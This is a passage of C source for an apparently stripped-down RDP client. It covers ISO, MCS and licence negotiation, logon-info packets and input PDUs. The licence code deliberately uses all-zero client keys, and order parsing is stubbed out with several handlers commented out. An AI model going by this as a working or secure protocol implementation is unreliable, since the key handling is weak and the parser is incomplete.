|
int fd;
|
|
|
|
fd = socket(AF_UNIX, SOCK_STREAM, 0);
|
|
if (fd == -1)
|
|
return False;
|
|
|
|
addr.sun_family = AF_UNIX;
|
|
memcpy(addr.sun_path, EGD_SOCKET, sizeof(EGD_SOCKET));
|
|
if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1)
|
|
goto err;
|
|
|
|
/* PRNGD and EGD use a simple communications protocol */
|
|
buf[0] = 1; /* Non-blocking (similar to /dev/urandom) */
|
|
buf[1] = 32; /* Number of requested random bytes */
|
|
if (write(fd, buf, 2) != 2)
|
|
goto err;
|
|
|
|
if ((read(fd, buf, 1) != 1) || (buf[0] == 0)) /* Available? */
|
|
goto err;
|
|
|
|
if (read(fd, buf, 32) != 32)
|
|
goto err;
|
|
|
|
ret = True;
|
|
|
|
err:
|
|
close(fd);
|
|
return ret;
|
|
}
|
|
#endif
|
|
|
|
|
|
/* Handles, for example, multi-scancode keypresses (which is not
|
|
possible via keymap-files) */
|
|
BOOL
|
|
handle_special_keys(uint32 keysym, unsigned int state, uint32 ev_time, BOOL pressed)
|
|
{
|
|
switch (keysym)
|
|
{
|
|
|
|
|
|
case XK_Break:
|
|
/* Send Break sequence E0 46 E0 C6 */
|
|
if (pressed)
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS,
|
|
(SCANCODE_EXTENDED | 0x46));
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS,
|
|
(SCANCODE_EXTENDED | 0xc6));
|
|
}
|
|
/* No release sequence */
|
|
return True;
|
|
|
|
case XK_Pause:
|
|
/* According to MS Keyboard Scan Code
|
|
Specification, pressing Pause should result
|
|
in E1 1D 45 E1 9D C5. I'm not exactly sure
|
|
of how this is supposed to be sent via
|
|
RDP. The code below seems to work, but with
|
|
the side effect that Left Ctrl stays
|
|
down. Therefore, we release it when Pause
|
|
is released. */
|
|
if (pressed)
|
|
{
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xe1, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x1d, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x45, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xe1, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0x9d, 0);
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYPRESS, 0xc5, 0);
|
|
}
|
|
else
|
|
{
|
|
/* Release Left Ctrl */
|
|
rdp_send_input(ev_time, RDP_INPUT_SCANCODE, RDP_KEYRELEASE,
|
|
0x1d, 0);
|
|
}
|
|
return True;
|
|
|
|
case XK_Meta_L: /* Windows keys */
|
|
case XK_Super_L:
|
|
case XK_Hyper_L:
|
|
case XK_Meta_R:
|
|
case XK_Super_R:
|
|
case XK_Hyper_R:
|
|
if (pressed)
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_LCTRL);
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_ESC);
|
|
}
|
|
else
|
|
{
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_ESC);
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_LCTRL);
|
|
}
|
|
return True;
|
|
}
|
|
return False;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/* Send a self-contained ISO PDU */
|
|
static void
|
|
iso_send_msg(uint8 code)
|
|
{
|
|
STREAM s;
|
|
|
|
s = tcp_init(11);
|
|
|
|
out_uint8(s, 3); /* version */
|
|
out_uint8(s, 0); /* reserved */
|
|
out_uint16_be(s, 11); /* length */
|
|
|
|
out_uint8(s, 6); /* hdrlen */
|
|
out_uint8(s, code);
|
|
out_uint16(s, 0); /* dst_ref */
|
|
out_uint16(s, 0); /* src_ref */
|
|
out_uint8(s, 0); /* class */
|
|
|
|
s_mark_end(s);
|
|
tcp_send(s);
|
|
}
|
|
|
|
/* Receive a message on the ISO layer, return code */
|
|
static STREAM
|
|
iso_recv_msg(uint8 * code)
|
|
{
|
|
STREAM s;
|
|
uint16 length;
|
|
uint8 version;
|
|
|
|
s = tcp_recv(4);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8(s, version);
|
|
if (version != 3)
|
|
{
|
|
error("TPKT v%d\n", version);
|
|
return NULL;
|
|
}
|
|
|
|
in_uint8s(s, 1); /* pad */
|
|
in_uint16_be(s, length);
|
|
|
|
s = tcp_recv(length - 4);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8s(s, 1); /* hdrlen */
|
|
in_uint8(s, *code);
|
|
|
|
if (*code == ISO_PDU_DT)
|
|
{
|
|
in_uint8s(s, 1); /* eot */
|
|
return s;
|
|
}
|
|
|
|
in_uint8s(s, 5); /* dst_ref, src_ref, class */
|
|
return s;
|
|
}
|
|
|
|
/* Initialise ISO transport data packet */
|
|
STREAM
|
|
iso_init(int length)
|
|
{
|
|
STREAM s;
|
|
|
|
s = tcp_init(length + 7);
|
|
s_push_layer(s, iso_hdr, 7);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an ISO data PDU */
|
|
void
|
|
iso_send(STREAM s)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, iso_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint8(s, 3); /* version */
|
|
out_uint8(s, 0); /* reserved */
|
|
out_uint16_be(s, length);
|
|
|
|
out_uint8(s, 2); /* hdrlen */
|
|
out_uint8(s, ISO_PDU_DT); /* code */
|
|
out_uint8(s, 0x80); /* eot */
|
|
|
|
tcp_send(s);
|
|
}
|
|
|
|
/* Receive ISO transport data packet */
|
|
STREAM
|
|
iso_recv(void)
|
|
{
|
|
STREAM s;
|
|
uint8 code;
|
|
|
|
s = iso_recv_msg(&code);
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
if (code != ISO_PDU_DT)
|
|
{
|
|
error("expected DT, got 0x%x\n", code);
|
|
return NULL;
|
|
}
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Establish a connection up to the ISO layer */
|
|
BOOL
|
|
iso_connect(char *server)
|
|
{
|
|
uint8 code;
|
|
|
|
if (!tcp_connect(server))
|
|
return False;
|
|
|
|
iso_send_msg(ISO_PDU_CR);
|
|
|
|
if (iso_recv_msg(&code) == NULL)
|
|
return False;
|
|
|
|
if (code != ISO_PDU_CC)
|
|
{
|
|
error("expected CC, got 0x%x\n", code);
|
|
tcp_disconnect();
|
|
return False;
|
|
}
|
|
|
|
return True;
|
|
}
|
|
|
|
/* Disconnect from the ISO layer */
|
|
void
|
|
iso_disconnect(void)
|
|
{
|
|
iso_send_msg(ISO_PDU_DR);
|
|
tcp_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Generate a session key and RC4 keys, given client and server randoms */
|
|
static void
|
|
licence_generate_keys(uint8 * client_key, uint8 * server_key, uint8 * client_rsa)
|
|
{
|
|
uint8 session_key[48];
|
|
uint8 temp_hash[48];
|
|
|
|
/* Generate session key - two rounds of sec_hash_48 */
|
|
sec_hash_48(temp_hash, client_rsa, client_key, server_key, 65);
|
|
sec_hash_48(session_key, temp_hash, server_key, client_key, 65);
|
|
|
|
/* Store first 16 bytes of session key, for generating signatures */
|
|
memcpy(licence_sign_key, session_key, 16);
|
|
|
|
/* Generate RC4 key */
|
|
sec_hash_16(licence_key, &session_key[16], client_key, server_key);
|
|
}
|
|
|
|
|
|
|
|
/* Send a licence request packet */
|
|
static void
|
|
licence_send_request(uint8 * client_random, uint8 * rsa_data, char *user, char *host)
|
|
{
|
|
uint32 sec_flags = SEC_LICENCE_NEG;
|
|
uint16 userlen = strlen(user) + 1;
|
|
uint16 hostlen = strlen(host) + 1;
|
|
uint16 length = 128 + userlen + hostlen;
|
|
STREAM s;
|
|
|
|
s = sec_init(sec_flags, length + 2);
|
|
|
|
out_uint16_le(s, LICENCE_TAG_REQUEST);
|
|
out_uint16_le(s, length);
|
|
|
|
out_uint32_le(s, 1);
|
|
out_uint16(s, 0);
|
|
out_uint16_le(s, 0xff01);
|
|
|
|
out_uint8p(s, client_random, SEC_RANDOM_SIZE);
|
|
out_uint16(s, 0);
|
|
out_uint16_le(s, (SEC_MODULUS_SIZE + SEC_PADDING_SIZE));
|
|
out_uint8p(s, rsa_data, SEC_MODULUS_SIZE);
|
|
out_uint8s(s, SEC_PADDING_SIZE);
|
|
|
|
out_uint16(s, LICENCE_TAG_USER);
|
|
out_uint16(s, userlen);
|
|
out_uint8p(s, user, userlen);
|
|
|
|
out_uint16(s, LICENCE_TAG_HOST);
|
|
out_uint16(s, hostlen);
|
|
out_uint8p(s, host, hostlen);
|
|
|
|
s_mark_end(s);
|
|
sec_send(s, sec_flags);
|
|
}
|
|
|
|
/* Process a licence demand packet */
|
|
static void
|
|
licence_process_demand(STREAM s)
|
|
{
|
|
uint8 null_data[SEC_MODULUS_SIZE];
|
|
uint8 *server_random;
|
|
#ifdef SAVE_LICENCE
|
|
uint8 signature[LICENCE_SIGNATURE_SIZE];
|
|
uint8 hwid[LICENCE_HWID_SIZE];
|
|
uint8 *licence_data;
|
|
int licence_size;
|
|
RC4_KEY crypt_key;
|
|
#endif
|
|
|
|
/* Retrieve the server random from the incoming packet */
|
|
in_uint8p(s, server_random, SEC_RANDOM_SIZE);
|
|
|
|
/* We currently use null client keys. This is a bit naughty but, hey,
|
|
the security of licence negotiation isn't exactly paramount. */
|
|
memset(null_data, 0, sizeof(null_data));
|
|
licence_generate_keys(null_data, server_random, null_data);
|
|
|
|
#ifdef SAVE_LICENCE
|
|
licence_size = load_licence(&licence_data);
|
|
if (licence_size != -1)
|
|
{
|
|
/* Generate a signature for the HWID buffer */
|
|
licence_generate_hwid(hwid);
|
|
sec_sign(signature, 16, licence_sign_key, 16, hwid, sizeof(hwid));
|
|
|
|
/* Now encrypt the HWID */
|
|
RC4_set_key(&crypt_key, 16, licence_key);
|
|
RC4(&crypt_key, sizeof(hwid), hwid, hwid);
|
|
|
|
licence_present(null_data, null_data, licence_data, licence_size, hwid, signature);
|
|
xfree(licence_data);
|
|
return;
|
|
}
|
|
#endif
|
|
|
|
licence_send_request(null_data, null_data, username, hostname);
|
|
}
|
|
|
|
|
|
/* Process a licence packet */
|
|
void
|
|
licence_process(STREAM s)
|
|
{
|
|
uint16 tag;
|
|
|
|
in_uint16_le(s, tag);
|
|
in_uint8s(s, 2); /* length */
|
|
|
|
switch (tag)
|
|
{
|
|
case LICENCE_TAG_DEMAND:
|
|
|
|
licence_process_demand(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_AUTHREQ:
|
|
// licence_process_authreq(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_ISSUE:
|
|
// licence_process_issue(s);
|
|
break;
|
|
|
|
case LICENCE_TAG_REISSUE:
|
|
break;
|
|
|
|
case LICENCE_TAG_RESULT:
|
|
break;
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
/* Establish a connection up to the MCS layer */
|
|
BOOL
|
|
mcs_connect(char *server, STREAM mcs_data)
|
|
{
|
|
if (!iso_connect(server))
|
|
return False;
|
|
|
|
mcs_send_connect_initial(mcs_data);
|
|
if (!mcs_recv_connect_response(mcs_data))
|
|
goto error;
|
|
|
|
mcs_send_edrq();
|
|
|
|
mcs_send_aurq();
|
|
if (!mcs_recv_aucf(&mcs_userid))
|
|
goto error;
|
|
|
|
mcs_send_cjrq(mcs_userid + 1001);
|
|
if (!mcs_recv_cjcf())
|
|
goto error;
|
|
|
|
mcs_send_cjrq(MCS_GLOBAL_CHANNEL);
|
|
if (!mcs_recv_cjcf())
|
|
goto error;
|
|
|
|
return True;
|
|
|
|
error:
|
|
iso_disconnect();
|
|
return False;
|
|
}
|
|
|
|
/* Disconnect from the MCS layer */
|
|
void
|
|
mcs_disconnect(void)
|
|
{
|
|
iso_disconnect();
|
|
}
|
|
|
|
|
|
|
|
/* Initialise an MCS transport data packet */
|
|
STREAM
|
|
mcs_init(int length)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(length + 8);
|
|
s_push_layer(s, mcs_hdr, 8);
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
/* Output a DOMAIN_PARAMS structure (ASN.1 BER) */
|
|
static void
|
|
mcs_out_domain_params(STREAM s, int max_channels, int max_users, int max_tokens, int max_pdusize)
|
|
{
|
|
ber_out_header(s, MCS_TAG_DOMAIN_PARAMS, 32);
|
|
ber_out_integer(s, max_channels);
|
|
ber_out_integer(s, max_users);
|
|
ber_out_integer(s, max_tokens);
|
|
ber_out_integer(s, 1); /* num_priorities */
|
|
ber_out_integer(s, 0); /* min_throughput */
|
|
ber_out_integer(s, 1); /* max_height */
|
|
ber_out_integer(s, max_pdusize);
|
|
ber_out_integer(s, 2); /* ver_protocol */
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Receive an MCS transport data packet */
|
|
STREAM
|
|
mcs_recv(void)
|
|
{
|
|
uint8 opcode, appid, length;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return NULL;
|
|
|
|
in_uint8(s, opcode);
|
|
appid = opcode >> 2;
|
|
if (appid != MCS_SDIN)
|
|
{
|
|
if (appid != MCS_DPUM)
|
|
{
|
|
error("expected data, got %d\n", opcode);
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
in_uint8s(s, 5); /* userid, chanid, flags */
|
|
in_uint8(s, length);
|
|
if (length & 0x80)
|
|
in_uint8s(s, 1); /* second byte of length */
|
|
|
|
return s;
|
|
}
|
|
|
|
|
|
|
|
/* Expect a AUcf message (ASN.1 PER) */
|
|
static BOOL
|
|
mcs_recv_aucf(uint16 * mcs_userid)
|
|
{
|
|
uint8 opcode, result;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
in_uint8(s, opcode);
|
|
if ((opcode >> 2) != MCS_AUCF)
|
|
{
|
|
error("expected AUcf, got %d\n", opcode);
|
|
return False;
|
|
}
|
|
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("AUrq: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
if (opcode & 2)
|
|
in_uint16_be(s, *mcs_userid);
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Expect a CJcf message (ASN.1 PER) */
|
|
static BOOL
|
|
mcs_recv_cjcf(void)
|
|
{
|
|
uint8 opcode, result;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
in_uint8(s, opcode);
|
|
if ((opcode >> 2) != MCS_CJCF)
|
|
{
|
|
error("expected CJcf, got %d\n", opcode);
|
|
return False;
|
|
}
|
|
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("CJrq: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
in_uint8s(s, 4); /* mcs_userid, req_chanid */
|
|
if (opcode & 2)
|
|
in_uint8s(s, 2); /* join_chanid */
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Parse a DOMAIN_PARAMS structure (ASN.1 BER) */
|
|
static BOOL
|
|
mcs_parse_domain_params(STREAM s)
|
|
{
|
|
int length;
|
|
|
|
ber_parse_header(s, MCS_TAG_DOMAIN_PARAMS, &length);
|
|
in_uint8s(s, length);
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
|
|
/* Expect a MCS_CONNECT_RESPONSE message (ASN.1 BER) */
|
|
static BOOL
|
|
mcs_recv_connect_response(STREAM mcs_data)
|
|
{
|
|
uint8 result;
|
|
int length;
|
|
STREAM s;
|
|
|
|
s = iso_recv();
|
|
if (s == NULL)
|
|
return False;
|
|
|
|
ber_parse_header(s, MCS_CONNECT_RESPONSE, &length);
|
|
|
|
ber_parse_header(s, BER_TAG_RESULT, &length);
|
|
in_uint8(s, result);
|
|
if (result != 0)
|
|
{
|
|
error("MCS connect: %d\n", result);
|
|
return False;
|
|
}
|
|
|
|
ber_parse_header(s, BER_TAG_INTEGER, &length);
|
|
in_uint8s(s, length); /* connect id */
|
|
|
|
mcs_parse_domain_params(s);
|
|
|
|
ber_parse_header(s, BER_TAG_OCTET_STRING, &length);
|
|
if (length > mcs_data->size)
|
|
{
|
|
error("MCS data length %d\n", length);
|
|
length = mcs_data->size;
|
|
}
|
|
|
|
in_uint8a(s, mcs_data->data, length);
|
|
mcs_data->p = mcs_data->data;
|
|
mcs_data->end = mcs_data->data + length;
|
|
|
|
return s_check_end(s);
|
|
}
|
|
|
|
|
|
/* Send an MCS transport data packet */
|
|
void
|
|
mcs_send(STREAM s)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, mcs_hdr);
|
|
length = s->end - s->p - 8;
|
|
length |= 0x8000;
|
|
|
|
out_uint8(s, (MCS_SDRQ << 2));
|
|
out_uint16_be(s, mcs_userid);
|
|
out_uint16_be(s, MCS_GLOBAL_CHANNEL);
|
|
out_uint8(s, 0x70); /* flags */
|
|
out_uint16_be(s, length);
|
|
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an AUrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_aurq(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(1);
|
|
|
|
out_uint8(s, (MCS_AURQ << 2));
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send a CJrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_cjrq(uint16 chanid)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(5);
|
|
|
|
out_uint8(s, (MCS_CJRQ << 2));
|
|
out_uint16_be(s, mcs_userid);
|
|
out_uint16_be(s, chanid);
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an MCS_CONNECT_INITIAL message (ASN.1 BER) */
|
|
static void
|
|
mcs_send_connect_initial(STREAM mcs_data)
|
|
{
|
|
int datalen = mcs_data->end - mcs_data->data;
|
|
int length = 7 + 3 * 34 + 4 + datalen;
|
|
STREAM s;
|
|
|
|
s = iso_init(length + 5);
|
|
|
|
ber_out_header(s, MCS_CONNECT_INITIAL, length);
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, 0); /* calling domain */
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, 0); /* called domain */
|
|
|
|
ber_out_header(s, BER_TAG_BOOLEAN, 1);
|
|
out_uint8(s, 0xff); /* upward flag */
|
|
|
|
mcs_out_domain_params(s, 2, 2, 0, 0xffff); /* target params */
|
|
mcs_out_domain_params(s, 1, 1, 1, 0x420); /* min params */
|
|
mcs_out_domain_params(s, 0xffff, 0xfc17, 0xffff, 0xffff); /* max params */
|
|
|
|
ber_out_header(s, BER_TAG_OCTET_STRING, datalen);
|
|
out_uint8p(s, mcs_data->data, datalen);
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Send an EDrq message (ASN.1 PER) */
|
|
static void
|
|
mcs_send_edrq(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = iso_init(5);
|
|
|
|
out_uint8(s, (MCS_EDRQ << 2));
|
|
out_uint16_be(s, 1); /* height */
|
|
out_uint16_be(s, 1); /* interval */
|
|
|
|
s_mark_end(s);
|
|
iso_send(s);
|
|
}
|
|
|
|
|
|
/* Process data PDU */
|
|
static void
|
|
process_data_pdu(STREAM s)
|
|
{
|
|
uint8 data_pdu_type;
|
|
|
|
in_uint8s(s, 8); /* shareid, pad, streamid, length */
|
|
in_uint8(s, data_pdu_type);
|
|
in_uint8s(s, 3); /* compress_type, compress_len */
|
|
|
|
switch (data_pdu_type)
|
|
{
|
|
case RDP_DATA_PDU_UPDATE:
|
|
process_update_pdu(s);
|
|
break;
|
|
|
|
case RDP_DATA_PDU_POINTER:
|
|
//process_pointer_pdu(s);
|
|
break;
|
|
|
|
case RDP_DATA_PDU_BELL:
|
|
//ui_bell();
|
|
break;
|
|
|
|
case RDP_DATA_PDU_LOGON:
|
|
/* User logged on */
|
|
break;
|
|
|
|
}
|
|
}
|
|
|
|
|
|
/* Respond to a demand active PDU */
|
|
static void
|
|
process_demand_active(STREAM s)
|
|
{
|
|
uint8 type;
|
|
|
|
in_uint32_le(s, rdp_shareid);
|
|
|
|
|
|
|
|
rdp_send_confirm_active();
|
|
rdp_send_synchronise();
|
|
rdp_send_control(RDP_CTL_COOPERATE);
|
|
rdp_send_control(RDP_CTL_REQUEST_CONTROL);
|
|
rdp_recv(&type); /* RDP_PDU_SYNCHRONIZE */
|
|
rdp_recv(&type); /* RDP_CTL_COOPERATE */
|
|
rdp_recv(&type); /* RDP_CTL_GRANT_CONTROL */
|
|
rdp_send_input(0, RDP_INPUT_SYNCHRONIZE, 0, 0, 0);
|
|
rdp_send_fonts(1);
|
|
rdp_send_fonts(2);
|
|
rdp_recv(&type); /* RDP_PDU_UNKNOWN 0x28 */
|
|
reset_order_state();
|
|
}
|
|
|
|
|
|
/* Process an order PDU */
|
|
void
|
|
process_orders(STREAM s)
|
|
{
|
|
RDP_ORDER_STATE *os = &order_state;
|
|
uint32 present;
|
|
uint16 num_orders;
|
|
uint8 order_flags;
|
|
int size, processed = 0;
|
|
BOOL delta;
|
|
|
|
in_uint8s(s, 2); /* pad */
|
|
in_uint16_le(s, num_orders);
|
|
in_uint8s(s, 2); /* pad */
|
|
|
|
while (processed < num_orders)
|
|
{
|
|
in_uint8(s, order_flags);
|
|
|
|
if (!(order_flags & RDP_ORDER_STANDARD))
|
|
{
|
|
error("order parsing failed\n");
|
|
break;
|
|
}
|
|
|
|
if (order_flags & RDP_ORDER_SECONDARY)
|
|
{
|
|
process_secondary_order(s);
|
|
}
|
|
else
|
|
{
|
|
if (order_flags & RDP_ORDER_CHANGE)
|
|
{
|
|
in_uint8(s, os->order_type);
|
|
}
|
|
|
|
switch (os->order_type)
|
|
{
|
|
case RDP_ORDER_TRIBLT:
|
|
case RDP_ORDER_TEXT2:
|
|
size = 3;
|
|
break;
|
|
|
|
case RDP_ORDER_PATBLT:
|
|
case RDP_ORDER_MEMBLT:
|
|
case RDP_ORDER_LINE:
|
|
size = 2;
|
|
break;
|
|
|
|
default:
|
|
size = 1;
|
|
}
|
|
|
|
|
|
delta = order_flags & RDP_ORDER_DELTA;
|
|
|
|
}
|
|
processed++;
|
|
}
|
|
|
|
if (s->p != next_packet)
|
|
error("%d bytes remaining\n", (int) (next_packet - s->p));
|
|
}
|
|
|
|
|
|
/* Process a secondary order */
|
|
static void
|
|
process_secondary_order(STREAM s)
|
|
{
|
|
uint16 length;
|
|
uint8 type;
|
|
uint8 *next_order;
|
|
|
|
in_uint16_le(s, length);
|
|
in_uint8s(s, 2); /* flags */
|
|
in_uint8(s, type);
|
|
next_order = s->p + length + 7;
|
|
s->p = next_order;
|
|
}
|
|
|
|
|
|
/* Process an update PDU */
|
|
static void
|
|
process_update_pdu(STREAM s)
|
|
{
|
|
uint16 update_type;
|
|
|
|
in_uint16_le(s, update_type);
|
|
|
|
switch (update_type)
|
|
{
|
|
case RDP_UPDATE_ORDERS:
|
|
process_orders(s);
|
|
break;
|
|
|
|
case RDP_UPDATE_SYNCHRONIZE:
|
|
break;
|
|
}
|
|
}
|
|
|
|
|
|
/* Initialise an RDP packet */
|
|
static STREAM
|
|
rdp_init(int maxlen)
|
|
{
|
|
STREAM s;
|
|
|
|
s = sec_init(encryption ? SEC_ENCRYPT : 0, maxlen + 6);
|
|
s_push_layer(s, rdp_hdr, 6);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an RDP packet */
|
|
static void
|
|
rdp_send(STREAM s, uint8 pdu_type)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, rdp_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint16_le(s, length);
|
|
out_uint16_le(s, (pdu_type | 0x10)); /* Version 1 */
|
|
out_uint16_le(s, (mcs_userid + 1001));
|
|
|
|
sec_send(s, encryption ? SEC_ENCRYPT : 0);
|
|
}
|
|
|
|
/* Receive an RDP packet */
|
|
static STREAM
|
|
rdp_recv(uint8 * type)
|
|
{
|
|
static STREAM rdp_s;
|
|
uint16 length, pdu_type;
|
|
|
|
if ((rdp_s == NULL) || (next_packet >= rdp_s->end))
|
|
{
|
|
rdp_s = sec_recv();
|
|
if (rdp_s == NULL)
|
|
return NULL;
|
|
|
|
next_packet = rdp_s->p;
|
|
}
|
|
else
|
|
{
|
|
rdp_s->p = next_packet;
|
|
}
|
|
|
|
in_uint16_le(rdp_s, length);
|
|
/* 32k packets are really 8, keepalive fix */
|
|
if (length == 0x8000)
|
|
{
|
|
next_packet += 8;
|
|
*type = 0;
|
|
return rdp_s;
|
|
}
|
|
in_uint16_le(rdp_s, pdu_type);
|
|
in_uint8s(rdp_s, 2); /* userid */
|
|
*type = pdu_type & 0xf;
|
|
|
|
|
|
next_packet += length;
|
|
return rdp_s;
|
|
}
|
|
|
|
/* Initialise an RDP data packet */
|
|
static STREAM
|
|
rdp_init_data(int maxlen)
|
|
{
|
|
STREAM s;
|
|
|
|
s = sec_init(encryption ? SEC_ENCRYPT : 0, maxlen + 18);
|
|
s_push_layer(s, rdp_hdr, 18);
|
|
|
|
return s;
|
|
}
|
|
|
|
/* Send an RDP data packet */
|
|
static void
|
|
rdp_send_data(STREAM s, uint8 data_pdu_type)
|
|
{
|
|
uint16 length;
|
|
|
|
s_pop_layer(s, rdp_hdr);
|
|
length = s->end - s->p;
|
|
|
|
out_uint16_le(s, length);
|
|
out_uint16_le(s, (RDP_PDU_DATA | 0x10));
|
|
out_uint16_le(s, (mcs_userid + 1001));
|
|
|
|
out_uint32_le(s, rdp_shareid);
|
|
out_uint8(s, 0); /* pad */
|
|
out_uint8(s, 1); /* streamid */
|
|
out_uint16_le(s, (length - 14));
|
|
out_uint8(s, data_pdu_type);
|
|
out_uint8(s, 0); /* compress_type */
|
|
out_uint16(s, 0); /* compress_len */
|
|
|
|
sec_send(s, encryption ? SEC_ENCRYPT : 0);
|
|
}
|
|
|
|
/* Output a string in Unicode */
|
|
void
|
|
rdp_out_unistr(STREAM s, char *string, int len)
|
|
{
|
|
int i = 0, j = 0;
|
|
|
|
len += 2;
|
|
|
|
while (i < len)
|
|
{
|
|
s->p[i++] = string[j++];
|
|
s->p[i++] = 0;
|
|
}
|
|
|
|
s->p += len;
|
|
}
|
|
|
|
/* Parse a logon info packet */
|
|
static void
|
|
rdp_send_logon_info(uint32 flags, char *domain, char *user,
|
|
char *password, char *program, char *directory)
|
|
{
|
|
int len_domain = 2 * strlen(domain);
|
|
int len_user = 2 * strlen(user);
|
|
int len_password = 2 * strlen(password);
|
|
int len_program = 2 * strlen(program);
|
|
int len_directory = 2 * strlen(directory);
|
|
uint32 sec_flags = encryption ? (SEC_LOGON_INFO | SEC_ENCRYPT) : SEC_LOGON_INFO;
|
|
STREAM s;
|
|
|
|
s = sec_init(sec_flags, 18 + len_domain + len_user + len_password
|
|
+ len_program + len_directory + 10);
|
|
|
|
out_uint32(s, 0);
|
|
out_uint32_le(s, flags);
|
|
out_uint16_le(s, len_domain);
|
|
out_uint16_le(s, len_user);
|
|
out_uint16_le(s, len_password);
|
|
out_uint16_le(s, len_program);
|
|
out_uint16_le(s, len_directory);
|
|
rdp_out_unistr(s, domain, len_domain);
|
|
rdp_out_unistr(s, user, len_user);
|
|
rdp_out_unistr(s, password, len_password);
|
|
rdp_out_unistr(s, program, len_program);
|
|
rdp_out_unistr(s, directory, len_directory);
|
|
|
|
s_mark_end(s);
|
|
sec_send(s, sec_flags);
|
|
}
|
|
|
|
/* Send a control PDU */
|
|
static void
|
|
rdp_send_control(uint16 action)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(8);
|
|
|
|
out_uint16_le(s, action);
|
|
out_uint16(s, 0); /* userid */
|
|
out_uint32(s, 0); /* control id */
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_CONTROL);
|
|
}
|
|
|
|
/* Send a synchronisation PDU */
|
|
static void
|
|
rdp_send_synchronise(void)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(4);
|
|
|
|
out_uint16_le(s, 1); /* type */
|
|
out_uint16_le(s, 1002);
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_SYNCHRONISE);
|
|
}
|
|
|
|
/* Send a single input event */
|
|
void
|
|
rdp_send_input(uint32 time, uint16 message_type, uint16 device_flags, uint16 param1, uint16 param2)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(16);
|
|
|
|
out_uint16_le(s, 1); /* number of events */
|
|
out_uint16(s, 0); /* pad */
|
|
|
|
out_uint32_le(s, time);
|
|
out_uint16_le(s, message_type);
|
|
out_uint16_le(s, device_flags);
|
|
out_uint16_le(s, param1);
|
|
out_uint16_le(s, param2);
|
|
|
|
s_mark_end(s);
|
|
rdp_send_data(s, RDP_DATA_PDU_INPUT);
|
|
}
|
|
|
|
/* Send an (empty) font information PDU */
|
|
static void
|
|
rdp_send_fonts(uint16 seq)
|
|
{
|
|
STREAM s;
|
|
|
|
s = rdp_init_data(8);
|
|
|
|
out_uint16(s, 0); /* number of fonts */
|
|
out_uint16_le(s, 0x3e); /* unknown */
|
|
out_uint16_le(s, seq); /* unknown */
|
|
out_uint16_le(s, 0x32); /* entry size */
|
|
|
|
s_mark_end(s);
|
|
